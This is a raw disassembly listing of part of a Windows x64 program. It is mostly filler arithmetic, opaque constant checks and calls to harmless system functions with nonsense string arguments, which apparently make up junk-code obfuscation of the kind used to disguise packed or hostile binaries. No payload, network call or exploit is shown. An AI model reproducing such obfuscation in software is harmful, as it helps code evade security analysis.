cmp dword [rsp + 0x40dc], 0x6c2a
je 0x1400107b9
jmp 0x140010814
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rdx, qword [rsp + 0xa4e0]
mov rcx, qword [rsp + 0xa4e8]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov dword [rsp + 0x4014], eax
jmp 0x140010814
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
add eax, ecx
mov byte [rsp + 0x14e], al
jmp 0x140010899
mov rax, qword [0x14019d798]
movzx eax, byte [rax]
mov byte [rsp + 0x40e0], al
cmp byte [rsp + 0x40e0], 0x68
je 0x14001087d
cmp byte [rsp + 0x40e0], 0x7a
je 0x140010840
jmp 0x140010899
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x14f]
movzx r8d, byte [rsp + 0x14f]
mov rax, qword [0x14019d798]
movzx edx, byte [rax]
mov rax, qword [0x14019d798]
movzx ecx, byte [rax]
call fcn.1401757d0
nop
jmp 0x140010899
mov eax, dword [rsp + 0x4070]
mov ecx, dword [rsp + 0x4018]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4088]
mov dword [rsp + 0x40e4], eax
mov eax, dword [rsp + 0x3fc0]
movzx ecx, al
mov eax, dword [rsp + 0x40e4]
shl eax, cl
mov dword [rsp + 0x400c], eax
cmp dword [rsp + 0x40c4], 0x4007
ja 0x140010e75
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x3ffc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4070], eax
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14e]
xor eax, ecx
mov byte [rsp + 0x14f], al
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x14d]
and eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4000]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa358]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x400c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4088], eax
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xc48]
add eax, ecx
mov word [rsp + 0xd48], ax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14a]
add eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
sub eax, ecx
mov byte [rsp + 0x14f], al
movzx eax, word [rsp + 0xb08]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4088]
sar eax, cl
mov dword [0x14019bee8], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
shl eax, cl
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov eax, dword [rsp + 0x40c4]
add eax, 0x1d
mov dword [rsp + 0x40c4], eax
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa350]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb08], ax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x4058]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4088]
mov ecx, dword [rsp + 0x4000]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x3fdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa368]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4070], eax
mov rax, qword [rsp + 0xa448]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov word [rsp + 0xb08], ax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [rsp + 0x14d]
add eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x4088]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sub eax, ecx
mov word [rsp + 0xeac], ax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x14f]
sub eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea8]
or eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fac]
shl eax, cl
mov dword [rsp + 0x4070], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa3a8]
mov qword [rsp + 0xa4f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa4f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3fac], eax
movsx eax, byte [rsp + 0x150]
movsx ecx, byte [rsp + 0x14a]
xor eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xb08], ax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa3a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xa3c0]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4d8]
mov rcx, qword [rsp + 0xa4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xea0]
add eax, ecx
mov word [rsp + 0xb08], ax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
add eax, ecx
mov byte [0x140199008], al
movsx eax, byte [rsp + 0x150]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x14d], al
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xeac]
xor eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov eax, dword [rsp + 0x3fac]
movzx ecx, al
mov eax, dword [rsp + 0x4058]
shr eax, cl
mov dword [rsp + 0x4018], eax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [0x14019bee8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4088], eax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x151]
and eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa358]
mov ecx, dword [rsp + 0x3fac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4070], eax
movsx eax, byte [rsp + 0x14a]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
jmp 0x1400108c1
movsx eax, word [rsp + 0xeb0]
mov dword [rsp + 0x40e8], eax
cmp dword [rsp + 0x40e8], 0xffffffff
je 0x140010f8c
cmp dword [rsp + 0x40e8], 0x2666
je 0x140010ea4
jmp 0x14001103b
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x400c], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd48]
sub eax, ecx
movsx ecx, word [rsp + 0xc48]
movsx edx, word [0x14019beec]
and ecx, edx
cmp eax, ecx
jle 0x140010f6a
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov dword [rsp + 0x40ec], eax
cmp dword [rsp + 0x40ec], 0x20fd
je 0x140010f0c
jmp 0x140010f30
mov rax, qword [rsp + 0xa368]
mov r8d, dword [rax]
mov edx, dword [rsp + 0x4080]
mov rax, qword [rsp + 0xa4a0]
mov ecx, dword [rax]
call fcn.140176420
nop
jmp 0x140010f68
mov dword [rsp + 0x28], 0x27
lea rax, str.Shale_Obnoxiously
mov qword [rsp + 0x20], rax
mov r9d, 0x51
lea r8, str.Grins_Crony
mov edx, 0xe1
mov ecx, 0x5b
call qword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [rsp + 0x3fdc], eax
jmp 0x140010f87
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea8]
xor eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
jmp 0x14001103b
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov dword [rsp + 0x40f0], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xea4]
mov dword [rsp + 0x40f4], eax
cmp dword [rsp + 0x40f4], 0x754
je 0x140010fea
jmp 0x14001103b
mov eax, dword [rsp + 0x4080]
movzx ecx, al
mov eax, dword [rsp + 0x3fdc]
sar eax, cl
mov dword [rsp + 0x4088], eax
lea rdx, [rsp + 0xa4e8]
mov rcx, qword [rsp + 0xa390]
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov dword [rsp + 0x3fe0], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x40e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [rsp + 0x4080]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov byte [0x14019d794], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov dword [rsp + 0x40f8], eax
cmp dword [rsp + 0x40f8], 0xffffd6fd
je 0x14001108d
jmp 0x140174682
movsx eax, word [rsp + 0xd48]
mov dword [rsp + 0x40fc], eax
cmp dword [rsp + 0x40fc], 0x2903
je 0x1400110ae
jmp 0x14017450d
movsx eax, word [rsp + 0xeac]
mov dword [rsp + 0x4100], eax
cmp dword [rsp + 0x4100], 0x10b5
je 0x1400110cc
jmp 0x1400110ee
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x3fc0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
jmp 0x140174431
lea rax, [rsp + 0xea8]
mov qword [rsp + 0xa500], rax
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x4104], al
cmp byte [rsp + 0x4104], 0
je 0x14001111c
jmp 0x140011205
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x151], al
lea rax, [rsp + 0x4018]
mov qword [rsp + 0xa508], rax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x4108], al
cmp byte [rsp + 0x4108], 0x4d
je 0x140011169
jmp 0x140011200
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov dword [rsp + 0x410c], eax
cmp dword [rsp + 0x410c], 0x3be94142
je 0x140011196
cmp dword [rsp + 0x410c], 0x560187cc
je 0x1400111e6
jmp 0x140011200
mov rax, qword [rsp + 0xa460]
mov ecx, dword [rsp + 0x40e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4088], eax
mov edx, 0xbc
mov ecx, 0x37
call qword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
mov dword [rsp + 0x403c], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
sub eax, ecx
mov word [rsp + 0xeb0], ax
jmp 0x140011200
mov edx, 1
mov rcx, qword [rsp + 0xa510]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x40a8], eax
jmp 0x14001130f
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14a]
add eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov eax, dword [rsp + 0x3f98]
mov dword [rsp + 0x4110], eax
cmp dword [rsp + 0x4110], 0x7b3e5138
je 0x14001123f
jmp 0x140011277
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov word [rsp + 0xea4], ax
mov edx, 0x82
mov rcx, qword [rsp + 0xa518]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x3f8c], eax
jmp 0x14001130f
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x14e]
add eax, ecx
movzx ecx, byte [rsp + 0x151]
mov rdx, qword [rsp + 0xa4f8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x1400112f3
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
or eax, ecx
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa4c8]
mov qword [rsp + 0xa520], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa520]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
jmp 0x14001130f
lea rdx, str.Stress_Tarred
lea rcx, [rsp + 0x1f678]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
mov dword [rsp + 0x3fdc], eax
mov eax, dword [rsp + 0x3fdc]
mov ecx, dword [rsp + 0x40e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa508]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov rcx, qword [rsp + 0xa3c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa4d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb08], ax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x151]
add eax, ecx
mov byte [0x14019d794], al
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4000]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3fdc]
sar eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb08], ax
mov eax, dword [rsp + 0x40c0]
sub eax, 0x77
mov dword [rsp + 0x40c0], eax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14b]
shl eax, cl
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
and eax, ecx
mov word [rsp + 0xd48], ax
movsx eax, byte [rsp + 0x14c]
movsx ecx, byte [0x140199008]
sub eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3f98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
movzx eax, word [rsp + 0xea8]
movzx ecx, word [rsp + 0xea4]
sub eax, ecx
mov rcx, qword [rsp + 0xa350]
mov word [rcx], ax
movzx eax, byte [rsp + 0x151]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3fac]
mov ecx, dword [rsp + 0x3ffc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4070], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4000]
mov ecx, dword [rsp + 0x4088]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fc0], eax
mov eax, dword [rsp + 0x4058]
mov ecx, dword [rsp + 0x3ffc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa368]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb08]
movzx ecx, word [rsp + 0xea8]
add eax, ecx
mov word [rsp + 0xea4], ax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14f]
shl eax, cl
mov byte [0x14019d794], al
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa4d8]
mov qword [rsp + 0xa528], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa528]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
movsx eax, word [0x14019beec]
movsx ecx, word [rsp + 0xeac]
sub eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14d]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14b], al
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov word [rsp + 0xea8], ax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019d794], al
mov rax, qword [rsp + 0xa428]
mov rcx, qword [rsp + 0xa508]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3fac], eax
mov rax, qword [rsp + 0xa3b8]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea4]
add eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa508]
mov rcx, qword [rsp + 0xa4c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa4a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4080]
mov rcx, qword [rsp + 0xa4a0]
mov qword [rsp + 0xa530], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa530]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa360]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4088]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov eax, dword [rsp + 0x40f0]
movzx ecx, al
mov eax, dword [rsp + 0x4058]
shl eax, cl
mov rcx, qword [rsp + 0xa4c8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x14e]
movzx ecx, byte [rsp + 0x14f]
and eax, ecx
mov byte [0x14019d794], al
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea8], ax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40e4], eax
cmp dword [rsp + 0x40c0], 0xe906
jae 0x14001130f
cmp dword [rsp + 0x40c8], 0xd486
je 0x140011b5c
mov rax, qword [rsp + 0xa460]
mov rcx, qword [rsp + 0xa4a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov byte [rsp + 0x14b], al
movsx eax, word [rsp + 0xeac]
movsx ecx, word [rsp + 0xd48]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov byte [rsp + 0x14f], al
movzx eax, word [rsp + 0xea4]
mov rcx, qword [rsp + 0xa400]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa448]
mov word [rcx], ax
mov rax, qword [rsp + 0xa508]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x40f0], eax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
xor eax, ecx
mov rcx, qword [0x14019d798]
mov byte [rcx], al
mov rax, qword [rsp + 0xa3c0]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
movzx ecx, al
mov eax, dword [rsp + 0x40e4]
shl eax, cl
mov dword [rsp + 0x4000], eax
mov eax, dword [rsp + 0x40c8]
add eax, 0x44
mov dword [rsp + 0x40c8], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3f98]
sar eax, cl
mov rcx, qword [rsp + 0xa3b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xea0]
sub eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14f]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa4c8]
mov rcx, qword [rsp + 0xa508]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ffc], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa3b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3f98], eax
mov rax, qword [rsp + 0xa368]
mov rcx, qword [rsp + 0xa358]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14d]
sub eax, ecx
mov byte [0x140199008], al
movzx eax, byte [0x14019d794]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa488]
mov byte [rcx], al
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14c]
add eax, ecx
mov byte [rsp + 0x14b], al
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc48]
and eax, ecx
mov rcx, qword [rsp + 0xa440]
mov word [rcx], ax
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa4d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f98]
movzx ecx, al
mov eax, dword [rsp + 0x400c]
shl eax, cl
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
sar eax, cl
mov rcx, qword [rsp + 0xa4f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xea0]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x3f98]
mov ecx, dword [rsp + 0x40e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeac]
sub eax, ecx
mov word [0x14019beec], ax
jmp 0x14001183f
mov eax, dword [rsp + 0x3fc0]
mov ecx, dword [rsp + 0x3f98]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
